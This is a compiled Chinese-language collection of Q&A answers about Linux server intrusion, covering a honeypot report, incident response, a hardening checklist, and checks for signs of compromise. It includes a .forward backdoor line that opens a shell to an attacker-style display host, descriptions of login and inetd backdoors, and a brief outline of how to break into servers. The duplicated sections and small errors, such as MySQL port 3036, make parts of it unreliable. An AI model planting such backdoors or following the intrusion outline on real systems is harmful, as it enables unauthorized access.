1、如何入侵linux伺服器
華盛頓大學的安全研究員Andre' DiMino注意到了多個IP地址試圖利用一個已修復PHP漏洞劫持Linux伺服器,他很好奇攻擊者如何成功控制一台Linux伺服器, 因此設立了一個蜜罐,運行舊版本的PHP,讓攻擊者劫持,進行觀察。DiMino發現,攻擊者確實非常狡猾,發出了包含多個指令的HTTP POST請求,下載一個偽裝成PDF文件的 Perl 腳本,執行之後刪除。
為了確保成功,攻擊者使用 curl、fetch、lwp-get請求重復上述步驟。Perl 腳本編程休眠一段時間,猜測可能是避開管理員的耳目。最終被感染的機器連上一個中繼聊天頻道,下載執行另一個腳本。攻擊者在伺服器上安裝了多個應用,包括 比特幣和素數幣挖礦程序,DDoS工具,掃描其它存在已知漏洞的機器的工具。隨著Linux伺服器的流行,它和Windows PC一樣成為攻擊者眼中極具吸引力的目標。
2、Linux伺服器被入侵後怎麼辦
1.撥掉網線這是最安全的斷開鏈接的方法,除了保護自己外,也可能保護同網段的其他主機.2.分析登錄文件信息,搜索可能入侵的途徑被入侵後,決不是重新安裝就可以了,還要分析主機被入侵的原因和途徑,如果找出了問題點,就可能使您的主機以後更安全,同時也提高了自己的Linux水平.1.分析登錄文件:可以通過分析一些主要的登錄文件找到對方的IP以及可能出現的漏洞.一般分析的文件為:/var/log/messages和/var/log/secure文件.還可以使用last命令找出最後一個登錄者的信息.2.檢查主機開放的服務:很多Linux管理員不知道自己的主機上開放了多少服務,每個服務都有漏洞或不該啟動的增強型或測試型功能.找出系統上的服務,逐個檢查服務是否有漏洞或設置上的失誤.3.重要數據備份所謂重要的數據就是非Linux上的原有數據.如/etc/passwd,/etc/shadow,WWW網頁的數據,/home里的用戶文件,至於/etc/*,/usr/,/var等目錄下的數據就不要備份了.4.系統重裝重要的是選擇合適的包,不要將所有的包都安裝.5.包漏洞修補安裝後,要立即更新系統包,更新後再設置防火牆機制,同時關閉一些不必要的服務,最後才插上網線.6.關閉或卸載不需要的服務啟動的服務越少,系統入侵的可能性就越底7.數據恢復與恢復服務設置備份的數據要復制回系統,然後將提供的服務再次開放.7.將主機開放到網路上
3、Linux系統主機伺服器被入侵後怎麼辦
入侵不嚴重的使用殺毒軟體清理,並及時備案數據,然後如果可以的話,重做系統做好,以免有殘留。
如果入侵嚴重並篡改密碼的話,破解密碼並保存數據後,重做系統,關閉高危埠。安裝殺毒軟體。
海騰數據晉慧娟
4、Linux伺服器如何防止入侵
beach翻譯的,繼續分享
目錄:
1.BIOS
2.SSH安全
3.禁用telnet
4.禁用代碼編譯
5.ProFTP
6.TCPwrappers
7.創建一個SU組
8.root通知
9.history安全
10.歡迎信息
11.禁用所有特殊賬戶
12.chmod危險文件
13.指定允許root登陸的TTY設備
14.選擇一個安全的密碼
15.檢查Rootkit
16.安裝補丁
17.隱藏Apache信息
18.隱藏php信息
19.關閉不使用的服務
20.檢測監聽中的埠
21.關閉打開的埠和服務
22.刪除不用的rpm包
23.禁用危險的php函數
24.安裝配置防火牆
25.安裝和配置BFD
26.內核加固(sysctl.conf)
27.更改SSH埠
28./tmp /var/tmp,/dev/shm分區安全
29.PHP IDS
總結
========================================================================
介紹
這個教程將一步步的指引你,使你的Linux系統變得安全。
任何默認安裝的操作系統都是不夠安全的,本文將指引你如何建立一個
相對安全的Linux系統。
========================================================================
1.BIOS
你應該總是在系統啟動的時候設置一個BIOS密碼和禁用從CD-ROM和軟盤引導。
這將防止一些人未經允許訪問你的系統和更改BIOS設置
2.SSH安全
SSH是一個協議,利用它可以登錄到一個遠程系統或遠程執行系統命令,
默認允許root登錄,並且sshv1存在缺陷,我們應該在
sshd_config禁止root訪問和使用sshv2來讓ssh更加安全。
方法:
vi /etc/ssh/sshd_config
把協議改為2
PermitRootLogin = no
重啟sshd /etc/rc.d/init.d/sshd restart
3.禁用telnet
早期的Linux默認開啟telnet服務,telnet,ftp,rlogin都是明文傳輸的協議
是容易被嗅探到的,這就是為什麼推薦使用安全的版本(sftp,scp,ssh)的原因
如果你必須要使用telnet,那麼至少應該隱藏banner信息
方法:
修改/etc/xinetd.d/telnet
disable=yes
4.禁用代碼編譯
你可以禁用代碼編譯並且只把編譯的許可權分配給一個用戶組
方法:
添加編譯用戶組 /usr/sbin/groupadd compiler ,cd /usr/bin
把常見的編譯器所屬組賦給編譯用戶組
chgrp compiler *cc*
chgrp compiler *++*
chgrp compiler ld
chgrp compiler as
設置mysqlaccess的訪問
chgrp root mysqlaccess
設置許可權
chmod 750 *cc*
chmod 750 *++*
chmod 750 ld
chmod 750 as
chmod 755 mysqlaccess
把用戶添加到組里
修改/etc/group
compiler:x:520:user1,user2
5.ProFTP
你可以通過修改proftpd.conf來禁止root登陸
方法:
修改/etc/proftpd.conf
Add RootLogin off
重啟proftpd /sbin/service proftpd stop
/sbin/service proftpd start
6.TCP wrappers
編輯hosts.allow和hosts.deny可以限制或允許訪問inet服務
方法:
限制訪問inet服務
修改/etc/hosts.allow
建議格式:
#Approved IP addresses
ALL:192.168.0.1
ALL:192.168.5.2
#CSV uploader machine
proftpd:10.0.0.5
#pop3 from antwhere
ipop3:ALL
修改/etc/hosts.deny
ALL:ALL EXCEPT localhostENY
7.創建SU用戶組
因為我們在SSH禁止了root用戶訪問並且禁用了telnet,所有我們應該
分配給一些用戶su許可權來獲取root特權
方法:
vi /etc/group
添加一行 wheel:x:10:root,user1,user2
chgrp wheel /bin/su
chmod o-rwx /bin/su
8.root通知
當一個具有root許可權的用戶登錄的時候發mail
方法:
編輯/root下的.bashrc ,當有root許可權的用戶登錄時發生email通知
echo 『ALERT – Root Shell Access (Server Name) on:』 `date` `who` | mail -s
5、Linux web伺服器被入侵
你這種問題很難回答的,只能給你簡單答一下。
1、怎麼入侵的
你的是伺服器,架上internet上,大家都可以訪問。伺服器為了方便別人訪問,總會開啟一些服務如http, ftp, ssh等等。黑客可以利用服務本身的漏洞或者套取密碼(暴力破解、字典破解各種方式)獲取一個有效的可以登錄的用戶,如果正好是root用戶被破解,那你的機器就完全被他控制了。
2、文件是怎麼放進來的?
獲取到用戶後,可以利用wget,或者sftp,ftp等各種方式把文件傳進來。
3、如何防禦?
這個最難回答,防禦比進攻難。
你說開啟了iptables, selinux,但是你有好好設置嗎?
關掉不必要的埠減少被攻擊的可能性;
經常更新你的系統,新的軟體漏洞更少;
各種服務程序不要用root用戶運行,免得黑客輕易利用程序問題獲取root許可權;
還有很多其它方法,網路安全和黑客性質一樣,你要知道怎麼攻擊別人,你就會防禦了。
現在你最好是先把伺服器下線,處理好後再上線,免得在處理過程中受黑客干擾。
6、幾條判斷Linux伺服器是否被入侵的技巧
檢查 1 - 當前都有誰在登錄?
你首先要查看當前都有誰登錄在伺服器上。發現攻擊者登錄到伺服器上進行操作並不復雜。
其對應的命令是 w。運行 w 會輸出如下結果:
08:32:55 up 98 days, 5:43, 2 users, load average: 0.05, 0.03, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
root pts/0 113.174.161.1 08:26 0.00s 0.03s 0.02s ssh root@
coopeaa12
root pts/1 78.31.109.1 08:26 0.00s 0.01s 0.00s w
第一個 IP 是英國 IP,而第二個 IP 是越南 IP。這個不是個好兆頭。
停下來做個深呼吸, 不要恐慌之下只是幹掉他們的 SSH 連接。除非你能夠防止他們再次進入伺服器,否則他們會很快進來並踢掉你,以防你再次回去。
請參閱本文最後的「被入侵之後怎麼辦」這一章節來看找到了被入侵的證據後應該怎麼辦。
whois 命令可以接一個 IP 地址然後告訴你該 IP 所注冊的組織的所有信息,當然就包括所在國家的信息。
檢查 2 - 誰曾經登錄過?
Linux 伺服器會記錄下哪些用戶,從哪個 IP,在什麼時候登錄的以及登錄了多長時間這些信息。使用 last 命令可以查看這些信息。
輸出類似這樣:
root pts/1 78.31.109.1 Thu Nov 30 08:26 still logged in
root pts/0 113.174.161.1 Thu Nov 30 08:26 still logged in
root pts/1 78.31.109.1 Thu Nov 30 08:24 - 08:26 (00:01)
root pts/0 113.174.161.1 Wed Nov 29 12:34 - 12:52 (00:18)
root pts/0 14.176.196.1 Mon Nov 27 13:32 - 13:53 (00:21)
這里可以看到英國 IP 和越南 IP 交替出現,而且最上面兩個 IP 現在還處於登錄狀態。如果你看到任何未經授權的 IP.
7、Linux如何判斷自己的伺服器是否被入侵
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
檢查一下passwd文件中有哪些特權用戶,系統中uid為0的用戶都會被顯示出來。
1
awk –F:』$3==0 {print $1}』 /etc/passwd
順便再檢查一下系統里有沒有空口令帳戶:
1
awk –F: 『length($2)==0 {print $1}』 /etc/shadow
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd
inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東J
UNIX下隱藏進程有的時候通過替換ps文件來做,檢測這種方法涉及到檢查文件完整性,稍後我們再討論這種方法。
接下來根據找到入侵者在伺服器上的文件目錄,一步一步進行追蹤。
3、檢查系統守護進程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這台機器所開啟的遠程服務。
一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網路連接和監聽埠
輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網關設置是否正確。
輸入 ifconfig –a,查看網卡設置。
5、檢查系統日誌
命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
在solaris下輸入 ls –al /var/adm
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統中的core文件
通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} ; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、.rhosts和.forward
這是兩種比較著名的後門文件,如果想檢查你的系統是否被入侵者安裝了後門,不妨全局查找這兩個文件:
find / -name 「.rhosts」 –print
find / -name 「.forward」 –print
在某用戶的$HOME下,.rhosts文件中僅包含兩個+號是非常危險的,如果你的系統上開了513埠(rlogin埠,和telnet作用相同),那麼任意是誰都可以用這個用戶登錄到你的系統上而不需要任何驗證。
看到這里如果想要深入的做安全加固服務以及安全部署
就必須找專業做伺服器的安全公司來處理了國內也就Sine安全和綠盟比較專業提供。
Unix下在.forward文件里放入命令是重新獲得訪問的常用方法在某一 用戶$HOME下的.forward可能設置如下:
username|"/usr/local/X11/bin/xterm -disp hacksys.other.dom:0.0 –e /bin/sh"
這種方法的變形包括改變系統的mail的別名文件(通常位於/etc/aliases). 注意這只是一種簡單的變換. 更為高級的能夠從.forward中運行簡單腳本實現在標准輸入執行任意命令(小部分預處理後).利用smrsh可以有效的制止這種後門(雖然如果允許可以自運行的elm's filter或procmail類程序, 很有可能還有問題。在Solaris系統下,如果你運行如下命令:
ln -s /var/mail/luser ~/.forward
然後設置vacation有效,那麼/var/mail/luser就會被拷貝到~/.forward,同時會附加"|/usr/bin/vacation me",舊的symlink被移到~/.forward..BACKUP中。
直接刪除掉這兩個文件也可以。
8、檢查系統文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,國家查詢的結果是否正常來判斷文件是否完整。在LINUX下使用rpm來檢查文件的完整性的方法也很多,這里不一一贅述,可以man rpm來獲得更多的格式。
UNIX系統中,/bin/login是被入侵者經常替換作為後門的文件,接下來談一下login後門 :
UNIX里,Login程序通常用來對telnet來的用戶進行口令驗證。入侵者獲取login的源代碼並修改,使它在比較輸入口令與存儲口令時先檢查後門口令。如果用戶敲入後門口令,它將忽視管理員設置的口令讓你長驅直入:這將允許入侵者進入任何賬號,甚至是root目錄。由於後門口令是在用戶真實登錄並被日誌記錄到utmp和wtmP前產生的一個訪問,所以入侵者可以登錄獲取shell卻不會暴露該賬號。管理員注意到這種後門後,使用」strings」命令搜索login程序以尋找文本信息。許多情況下後門口令會原形畢露。入侵者又會開始加密或者更改隱藏口令,使strings命令失效。所以許多管理員利用MD5校驗和檢測這種後門。UNIX系統中有md5sum命令,輸入md5sum 文件名檢查該文件的md5簽名。它的使用格式如下:md5sum –b 使用二進制方式閱讀文件;md5sum –c 逆向檢查MD5簽名;md5sum –t 使用文本方式閱讀文件。
在前面提到過守護進程,對於守護進程配置文件inetd.conf中沒有被注釋掉的行要進行仔細比較,舉個簡單的例子,如果你開放了telnet服務,守護進程配置文件中就會有一句:telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
可以看到它所使用的文件是 /usr/sbin/in.telnetd,檢查該文件的完整性,入侵者往往通過替換守護進程中允許的服務文件來為自己創建一個後門。
LINUX系統中的/etc/crontab也是經常被入侵者利用的一個文件,檢查該文件的完整性,可以直接cat /etc/crontab,仔細閱讀該文件有沒有被入侵者利用來做其他的事情。
不替換login等文件而直接使用進程來啟動後門的方法有一個缺陷,即系統一旦重新啟動,這個進程就被殺死了,所以得讓這個後門在系統啟動的時候也啟動起來。通常通過檢查/etc/rc.d下的文件來查看系統啟動的時候是不是帶有後門程序;這個方法怎麼有點象查windows下的trojan?
說到這里,另外提一下,如果在某一目錄下發現有屬性為這樣的文件:-rwsr-xr-x 1 root root xxx .sh,這個表明任何用戶進來以後運行這個文件都可以獲得一個rootshell,這就是setuid文件。運行 find –perm 4000 –print對此類文件進行全局查找,然後刪除這樣的文件。
9、檢查內核級後門
如果你的系統被人安裝了這種後門,通常都是比較討厭的,我常常就在想,遇到這種情況還是重新安裝系統算了J,言歸正傳,首先,檢查系統載入的模塊,在LINUX系統下使用lsmod命令,在solaris系統下使用modinfo命令來查看。這里需要說明的是,一般默認安裝的LINUX載入的模塊都比較少,通常就是網卡的驅動;而solaris下就很多,沒別的辦法,只有一條一條地去分析。對內核進行加固後,應禁止插入或刪除模塊,從而保護系統的安全,否則入侵者將有可能再次對系統調用進行替換。我們可以通過替換create_mole()和delete_mole()來達到上述目的。另外,對這個內核進行加固模塊時應盡早進行,以防系統調用已經被入侵者替換。如果系統被載入了後門模塊,但是在模塊列表/proc/mole里又看不到它們,有可能是使用了hack工具來移除載入的模塊,大名鼎鼎的knark工具包就有移除載入模塊的工具。出現這種情況,需要仔細查找/proc目錄,根據查找到的文件和經驗來判斷被隱藏和偽裝的進程。Knark後門模塊就在/proc/knark目錄,當然可能這個目錄是隱藏的。
8、Linux伺服器被入侵伺服器時自動刪除數據 如題,假設在一台Ubuntu Server14.04
查詢history里的命令記錄,
如不存在那條命令的記錄就啟動刪除腳本 start del.sh
思路是這樣吧
9、Linux 如何判斷自己的伺服器是否被入侵
1、檢查系統密碼文件
首先從明顯的入手,查看一下passwd文件,ls –l /etc/passwd查看文件修改的日期。
awk –F: 『length($2)==0 {print $1}』 /etc/shadow
2、查看一下進程,看看有沒有奇怪的進程
重點查看進程:ps –aef | grep inetd
inetd是UNIX系統的守護進程,正常的inetd的pid都比較靠前,如果你看到輸出了一個類似inetd –s /tmp/.xxx之類的進程,著重看inetd –s後面的內容。在正常情況下,LINUX系統中的inetd服務後面是沒有-s參數的,當然也沒有用inetd去啟動某個文件;而solaris系統中也僅僅是inetd –s,同樣沒有用inetd去啟動某個特定的文件;如果你使用ps命令看到inetd啟動了某個文件,而你自己又沒有用inetd啟動這個文件,那就說明已經有人入侵了你的系統,並且以root許可權起了一個簡單的後門。
輸入ps –aef 查看輸出信息,尤其注意有沒有以./xxx開頭的進程。一旦發現異樣的進程,經檢查為入侵者留下的後門程序,立即運行kill –9 pid 開殺死該進程,然後再運行ps –aef查看該進程是否被殺死;一旦此類進程出現殺死以後又重新啟動的現象,則證明系統被人放置了自動啟動程序的腳本。這個時候要進行仔細查找:find / -name 程序名 –print,假設系統真的被入侵者放置了後門,根據找到的程序所在的目錄,會找到很多有趣的東東,
接下來根據找到入侵者在伺服器上的文件目錄,一步一步進行追蹤。
3、檢查系統守護進程
檢查/etc/inetd.conf文件,輸入:cat /etc/inetd.conf | grep –v 「^#」,輸出的信息就是你這台機器所開啟的遠程服務。
一般入侵者可以通過直接替換in.xxx程序來創建一個後門,比如用/bin/sh 替換掉in.telnetd,然後重新啟動inetd服務,那麼telnet到伺服器上的所有用戶將不用輸入用戶名和密碼而直接獲得一個rootshell。
4、檢查網路連接和監聽埠
輸入netstat -an,列出本機所有的連接和監聽的埠,查看有沒有非法連接。
輸入netstat –rn,查看本機的路由、網關設置是否正確。
輸入 ifconfig –a,查看網卡設置。
5、檢查系統日誌
命令last | more查看在正常情況下登錄到本機的所有用戶的歷史記錄。但last命令依賴於syslog進程,這已經成為入侵者攻擊的重要目標。入侵者通常會停止系統的syslog,查看系統syslog進程的情況,判斷syslog上次啟動的時間是否正常,因為syslog是以root身份執行的,如果發現syslog被非法動過,那說明有重大的入侵事件。
在linux下輸入ls –al /var/log
檢查wtmp utmp,包括messgae等文件的完整性和修改時間是否正常,這也是手工擦除入侵痕跡的一種方法。
6、檢查系統中的core文件
通過發送畸形請求來攻擊伺服器的某一服務來入侵系統是一種常規的入侵方法,典型的RPC攻擊就是通過這種方式。這種方式有一定的成功率,也就是說它並不能100%保證成功入侵系統,而且通常會在伺服器相應目錄下產生core文件,全局查找系統中的core文件,輸入find / -name core –exec ls –l {} \; 依據core所在的目錄、查詢core文件來判斷是否有入侵行為。
7、檢查系統文件完整性
檢查文件的完整性有多種方法,通常我們通過輸入ls –l 文件名來查詢和比較文件,這種方法雖然簡單,但還是有一定的實用性。但是如果ls文件都已經被替換了就比較麻煩。在LINUX下可以用rpm –V `rpm –qf 文件名` 來查詢,查詢的結果是否正常來判斷文件是否完整。
10、如何成功入侵 Linux 伺服器
先掃描目標主機開放的隱藏埠,比如ssh的大部分是22,mysql的是3036,然後你得分析這個埠對應的是什麼軟體,再找到這個軟體的漏洞,通過漏洞來獲取許可權,有了許可權之後可以偽造一些文件或者植入木馬程序來獲取賬戶口令,有了賬戶口令後你想幹嘛就幹嘛,流程有很多,這是常見的,你也可以暴力破解,本交流以學習為主,未經允許非法入侵他人主機是犯法的